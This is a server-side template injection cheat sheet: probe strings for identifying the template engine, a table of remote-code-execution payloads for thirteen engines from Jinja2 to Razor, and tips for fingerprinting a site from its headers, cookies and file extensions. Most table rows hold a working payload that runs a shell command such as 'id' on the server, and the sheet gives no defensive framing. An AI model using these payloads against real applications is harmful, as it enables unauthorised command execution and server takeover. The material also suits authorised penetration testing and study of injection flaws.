// server-side template injection — engine fingerprinting & probing
{{7*7}} → 49?{{7*7}}${7*7}<%= 7*7 %>#{7*7}{{7*'7'}}@(7*7)| Engine | Language | Syntax probe | Expected output | RCE payload (example) |
|---|---|---|---|---|
| Jinja2 | Python | {{7*'7'}} |
7777777 |
{{config.__class__.__init__.__globals__['os'].popen('id').read()}} |
| Tornado | Python | {%raw%}{{7*7}}{%endraw%} / import test |
49 |
{%import os%}{{os.popen('id').read()}} |
| Mako | Python | ${7*7} |
49 |
${__import__('os').popen('id').read()} |
| ERB | Ruby | <%= 7*7 %> |
49 |
<%= `id` %> |
| Slim | Ruby | #{7*7} |
49 |
#{`id`} |
| Twig | PHP | {{7*7}} |
49 |
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} |
| Smarty | PHP | {$smarty.version} |
version string | {php}echo `id`;{/php} |
| Freemarker | Java | ${7*7} |
49 |
${"freemarker.template.utility.Execute"?new()("id")} |
| Velocity | Java | #set($x=7*7)${x} |
49 |
#set($e="")$e.getClass().forName("java.lang.Runtime").getMethod("exec","".class).invoke(...) |
| Pebble | Java | {{7*7}} |
49 |
{% for i in "".class.forName("java.lang.Runtime")... %} |
| EJS | Node.js | <%= 7*7 %> |
49 |
<%= require('child_process').execSync('id') %> |
| Pug / Jade | Node.js | #{7*7} |
49 |
- var x = require('child_process').execSync('id')\n= x |
| Razor | .NET | @(7*7) |
49 |
@System.Diagnostics.Process.Start("cmd.exe","/c id") |
X-Powered-By, Server headers may leak framework (e.g. Express, Rails, Django)JSESSIONID → Java, PHPSESSID → PHP, rack.session → Ruby.jsp → Java, .erb → Ruby, .twig → PHP, .j2 → Jinja2whatweb target.com — identifies CMS, framework, server